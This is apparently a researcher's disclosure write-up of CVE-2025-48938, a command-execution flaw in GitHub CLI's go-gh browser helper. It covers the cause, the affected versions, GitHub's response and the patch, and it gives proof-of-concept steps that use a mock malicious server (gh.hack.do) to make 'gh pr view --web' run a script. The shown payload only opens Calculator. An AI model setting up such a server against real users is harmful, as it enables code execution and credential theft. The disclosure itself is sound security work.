CVE-2025-48938 - GitHub CLI RCE
While testing GitHub CLI’s behavior with custom GitHub Enterprise Server instances, I discovered a critical vulnerability that allows an attacker-controlled server to execute arbitrary commands on a user’s machine. This vulnerability, assigned CVE-2025-48938, stems from how the CLI handles URLs returned from GraphQL endpoints.
The Vulnerability #
The vulnerability exists in the go-gh library (specifically github.com/cli/go-gh/v2/pkg/browser), which is used by both the GitHub CLI and CLI extensions. The issue affects any command that uses the -w, --web flag to open resources in a browser, including:
gh pr view --weband other pull request commandsgh repo view --weband other repository commandsgh issue view --weband other issue commandsgh codespacecommands that transition to Visual Studio Code
When you run these commands, the GitHub CLI queries various API endpoints (like the PullRequestForBranch GraphQL endpoint) to fetch URLs for resources. The problem? The Browser.Browse() function in go-gh would attempt to open whatever string was returned, regardless of whether it was actually a URL or a file path.
Here’s where things get interesting: if the returned string is a proper URL (starting with http:// or https://), it opens in your browser as expected. But if an attacker-controlled server returns a file path instead, for example, a path to a script in a repository you’ve already cloned, the system will attempt to open or execute that file. This opens the door to arbitrary command execution.
The root cause is a Trust Boundary Violation (CWE-501): the code mixes trusted and untrusted data by accepting URLs from API responses without validating that they’re actually URLs before passing them to system-level functions.
Affected Versions #
- Affected versions:
go-gh<= 2.12.0 (affects GitHub CLI and CLI extensions using this version) - Patched versions:
go-gh2.12.1 and later
If you’re using an affected version, make sure to update to 2.12.1 or later to protect against this vulnerability. You can find the full security advisory on GitHub’s security advisories page.
How It Works #
The attack scenario is surprisingly straightforward:
- A user connects to a malicious or compromised GitHub Enterprise Server instance
- The user clones a repository from that server
- The user runs
gh pr view --web(or similar commands) - The malicious server returns a file path instead of a URL in the GraphQL response
- The CLI passes this path to the system’s file handler, which executes it
In my proof of concept, I created a malicious server that returns a path to a bash script in the cloned repository. When executed, the script simply opens the Calculator app, a harmless demonstration, however the same technique could be used to run any arbitrary command.
Proof of Concept #
To demonstrate this vulnerability, I set up a minimal GitHub Enterprise Server mock that implements just enough endpoints to make the attack work. The proof of concept code is available on GitHub. Here’s how to reproduce it:
From a terminal with the GitHub CLI installed (on macOS in this example):
Authenticate with the malicious server:
gh auth login -h gh.hack.do -p https- Press enter when prompted: “Authenticate Git with your GitHub credentials?” → Yes
- Select “Paste an authentication token” and type anything
Clone a repository from the malicious server:
gh repo clone https://gh.hack.do/test/test cd testAttempt to view a pull request:
gh pr view --webWatch as the Calculator app opens (or whatever command the malicious script executes)
The test server I created fakes the minimum endpoints needed for authentication, cloning, and pull request queries. The full source code and setup instructions are available in the gh_hack repository. To run it yourself:
npm install
npm start
Since the GitHub CLI requires HTTPS, you’ll need to use something like ngrok http 5000 and replace the domain in the steps above with your ngrok URL.
The Impact #
This vulnerability is particularly dangerous because:
- Full system compromise: An attacker can run arbitrary commands on the victim’s system, potentially leading to persistent access
- Credential theft: The attacker could exfiltrate sensitive authentication tokens stored on the system, including GitHub API tokens, AWS credentials, SSH keys, or environment variables
- Data exfiltration: An attacker could steal sensitive code, files, or other private data stored on the victim’s system
The attack is especially insidious because it requires minimal user interaction, just cloning a repository and running a common CLI command that many developers use daily. The user doesn’t need to explicitly execute any suspicious files; the CLI does it for them.
Disclosure and GitHub’s Response #
After reporting this vulnerability through GitHub’s security program, their team assessed the issue and assigned it a low severity rating. Here’s their response:
Our security and development teams take many factors into account when determining a reward. These factors include the complexity of successfully exploiting the vulnerability, the potential exposure, as well as the percentage of impacted users and systems.
In this case, we understand that the impact of this vulnerability is high, however, the likelihood is pretty low as it requires a GHES owner to pollute their own instance and be able to convince a victim user to accept the invitation. After this, it also requires the victim to interact with the malicious instance and open a PR via web using GH CLI that triggers the command execution owner has planted. As such, this was assigned a low severity.
While I understand GitHub’s reasoning about the attack complexity requiring multiple steps, I believe the potential impact, arbitrary command execution on a user’s system warrants more attention. The fact that it can be triggered through normal, everyday CLI usage makes it particularly concerning, even if the attack scenario requires some social engineering to set up.
Regardless of the severity rating, GitHub did patch the vulnerability in version 2.12.1, which is what matters most for users’ security.
The Fix #
In version 2.12.1, Browser.Browse() was enhanced with proper validation to prevent opening or executing files on the filesystem. The fix implements a whitelist approach:
Allowed protocols:
http://andhttps://(for web browsing)vscode://andvscode-insiders://(for Codespaces integration)
Blocked scenarios:
- URLs with
file://protocol - URLs matching files or directories on the filesystem
- URLs matching executables in the user’s PATH
URLs without protocols are still browsable, but only if they don’t match any of the blocked conditions. This approach maintains functionality for legitimate use cases while preventing the arbitrary command execution vulnerability.
Takeaways #
This vulnerability highlights the importance of validating and sanitizing data returned from external sources, even when those sources are “trusted” enterprise instances. The GitHub CLI’s assumption that a URL field would always contain a URL proved to be a critical security flaw. It’s a good reminder that when interfacing with external systems, we should always validate the format and content of data before passing it to system-level functions.